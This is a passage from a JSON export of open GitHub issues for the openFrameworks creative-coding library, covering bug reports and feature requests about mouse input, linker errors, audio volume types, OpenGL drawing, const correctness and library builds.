frame","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-16T07:21:15Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":529705,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-20T17:32:59Z","body":"this is a limitation to glut, but it might be hackable on each system separately.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/389","comments":1,"milestone":null,"number":389,"html_url":"https://github.com/openframeworks/openFrameworks/issues/389","assignee":null,"title":"mouse position doesn't update until mouse is moved","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-16T07:11:53Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":529700,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-13T21:10:48Z","body":"following error appears when i try to load an image; commenting out the call to loadImage(\"...\") makes the error go away.\n\n Undefined symbols:\n \"std::basic_ostream >& std::__ostream_insert >(std::basic_ostream >&, char const*, int)\", \n referenced from:\n Poco::Net::HTTPClientSession::proxyAuthenticateImpl(Poco::Net::HTTPRequest&)in PocoNet.a(HTTPClientSession.o)\n Poco::Net::HTTPClientSession::proxyAuthenticateImpl(Poco::Net::HTTPRequest&)in PocoNet.a(HTTPClientSession.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::MessageHeader::write(std::basic_ostream >&) constin PocoNet.a(MessageHeader.o)\n Poco::Net::MessageHeader::write(std::basic_ostream >&) constin PocoNet.a(MessageHeader.o)\n Poco::Net::HTTPResponse::write(std::basic_ostream >&) constin PocoNet.a(HTTPResponse.o)\n Poco::Net::HTTPResponse::write(std::basic_ostream >&) constin PocoNet.a(HTTPResponse.o)\n\nld: symbol(s) not found\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/387","comments":1,"milestone":null,"number":387,"html_url":"https://github.com/openframeworks/openFrameworks/issues/387","assignee":null,"title":"Linker error when loading image (Poco::Net related?)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-16T05:57:51Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"id":529646,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-15T17:01:08Z","body":"would be nice if it was a float (0-1) and not an int(0-100) for standardization with every other audio thing in the universe aside from quicktime","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/375","comments":2,"milestone":null,"number":375,"html_url":"https://github.com/openframeworks/openFrameworks/issues/375","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"ofVideoPlayer setVolume uses an int","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-01-15T23:03:57Z","state":"open","user":{"url":"https://api.github.com/users/stfj","gravatar_id":"b089227a1748a2d70cdfc4ef00b325ad","login":"stfj","avatar_url":"https://secure.gravatar.com/avatar/b089227a1748a2d70cdfc4ef00b325ad?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":177578},"id":529268,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-14T19:30:31Z","body":"glDrawBitmapString doesn't work when GL_LIGHTING is enabled.\r\n\r\nwell, it works... but it is black because it isn't reflecting any light. regardless of the ofSetColor.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/357","comments":0,"milestone":null,"number":357,"html_url":"https://github.com/openframeworks/openFrameworks/issues/357","assignee":null,"title":"glDrawBitmapString vs GL_LIGHTING","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-14T19:30:31Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":527591,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-14T01:33:38Z","body":"some of the core functions only work with 2d points, others only with 3d points, some work with both. but they all take ofPoints.\r\n\r\nit's good for teaching purposes to have ofPoints because you don't have to explain what a 'vector' is, but it's unclear for advanced users whether the functions take 2d or 3d points...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/347","comments":0,"milestone":null,"number":347,"html_url":"https://github.com/openframeworks/openFrameworks/issues/347","assignee":null,"title":"none of the core functions report how many dimensions they work for","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-01-14T01:33:38Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":526094,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-13T16:16:40Z","body":"e.g., GL_DEPTH_TEST.\r\n\r\none of the reasons for this is that it's not obvious to newbies what common features are available.\r\n\r\nanother is that i've seen lots of people write GL_DEPTH instead, which obviously doesn't work.\r\n\r\nthere might be some others too, see processing's hint():\r\n\r\nhttp://processing.org/reference/hint_.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/340","comments":0,"milestone":null,"number":340,"html_url":"https://github.com/openframeworks/openFrameworks/issues/340","assignee":null,"title":"OF wrapper for basic gl functions that aren't intuitive to newbies","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2011-01-13T16:16:40Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":524875,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-27T13:35:42Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/337","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":337,"html_url":"https://github.com/openframeworks/openFrameworks/issues/337","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"ofFileDialog allow folder selection ( works on os x ) needs code for win and linux","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-01-13T05:21:53Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":523837,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:11:06Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/330","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":330,"html_url":"https://github.com/openframeworks/openFrameworks/issues/330","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"title":"OpenCv 2.2 for Win ( CB and VS )","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"}],"closed_at":null,"created_at":"2011-01-12T19:09:37Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":522789,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-04T14:06:34Z","body":"currentStyle stores everything about the current style, so it can be used rather than things like drawMode for tracking how things should currently be draw.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/325","comments":1,"milestone":null,"number":325,"html_url":"https://github.com/openframeworks/openFrameworks/issues/325","assignee":null,"title":"drawMode can be deprecated, currentStyle.bFill should be used instead","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-12T15:41:11Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":522255,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-12T15:34:48Z","body":"ordering for code completion is a little weird.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/324","comments":0,"milestone":null,"number":324,"html_url":"https://github.com/openframeworks/openFrameworks/issues/324","assignee":null,"title":"ofPushView/ofPopView appear before ofPushMatrix/ofPopMatrix","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"closed_at":null,"created_at":"2011-01-12T15:34:48Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":522231,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-10T22:30:48Z","body":"under the /video directory","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/311","comments":0,"milestone":null,"number":311,"html_url":"https://github.com/openframeworks/openFrameworks/issues/311","assignee":null,"title":"openFrameworksLib has ofQtUtils included twice","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-10T22:30:48Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":518434,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-10T06:36:27Z","body":"better to use aggregation (helper classes/functions) if necessary for common functionality that have implementation in those classes. making them pure abstract classes will avoid problems with multiple inheritance and easier to extend in case of different behaviour","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/305","comments":0,"milestone":null,"number":305,"html_url":"https://github.com/openframeworks/openFrameworks/issues/305","assignee":null,"title":"no implementation in ofBaseTypes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-10T06:36:27Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":516844,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-05T21:59:59Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/302","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":302,"html_url":"https://github.com/openframeworks/openFrameworks/issues/302","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"Remove Poco CppUnit from all projects ( done on os x )","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-01-10T02:39:28Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":516565,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T01:06:09Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/299","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","closed_issues":0,"number":6,"title":"0073 Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":299,"html_url":"https://github.com/openframeworks/openFrameworks/issues/299","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"freetype-2.4.4 for linux","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-01-10T02:38:08Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":516560,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T01:06:08Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/298","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","closed_issues":0,"number":6,"title":"0073 Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":298,"html_url":"https://github.com/openframeworks/openFrameworks/issues/298","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"freetype-2.4.4 for windows","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-01-10T02:37:49Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":516559,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-05T21:59:27Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/296","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":296,"html_url":"https://github.com/openframeworks/openFrameworks/issues/296","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"FreeImage 3141 build for windows","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-01-10T02:36:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":516556,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-09T20:46:43Z","body":"I think the pixeltype, the gltypeinternal and the gltype should be accessible to the user as well as the loadData(void * data, int w, int h, int glDataType) which is actually protected.\r\n\r\nActual implementation is only limited to a few choice of internalFormat which lead to choice of pixeltype and gltype. It thus doesn't allow from user specific type.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/292","comments":0,"milestone":null,"number":292,"html_url":"https://github.com/openframeworks/openFrameworks/issues/292","assignee":null,"title":"ofTexture should be more flexible","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-01-09T20:46:43Z","state":"open","user":{"url":"https://api.github.com/users/I33N","gravatar_id":"ba8d7c3b4532d3747c30b9be91dc20d5","login":"I33N","avatar_url":"https://secure.gravatar.com/avatar/ba8d7c3b4532d3747c30b9be91dc20d5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":520375},"id":516071,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T10:49:15Z","body":"ofImage::getWidth()/getHeight() are just getters that do absolutely nothing but return a copy of the width and height. these methods should be marked const.\r\n\r\n[added]: there are hacks inside ofxCv that i've had to make because getWidth/getHeight are not const correct. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/288","comments":6,"milestone":null,"number":288,"html_url":"https://github.com/openframeworks/openFrameworks/issues/288","assignee":null,"title":"const correctness - add const to getWidth/getHeight","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-08T02:14:03Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":513779,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-11-30T05:13:10Z","body":"This is giving me some crashes. There needs to be a way to disable this when making custom windows. I have tried to do atexit(NULL); but the callback in ofRunApp(ofBaseApp * OFSA) is still being called. \r\n\r\nmaybe something like:\r\n\r\nvoid ofRunApp(ofBaseApp * OFSA, bool useExitCallback);\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/275","comments":0,"milestone":null,"number":275,"html_url":"https://github.com/openframeworks/openFrameworks/issues/275","assignee":null,"title":"atexit(ofExitCallback);","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-11-30T05:13:10Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":149997},"id":445829,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-17T02:02:25Z","body":"bottom left corner is inconsistent with every other drawing command in OF, should be top left instead.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/271","comments":7,"milestone":null,"number":271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/271","assignee":null,"title":"ofDrawBitmapString draws from bottom 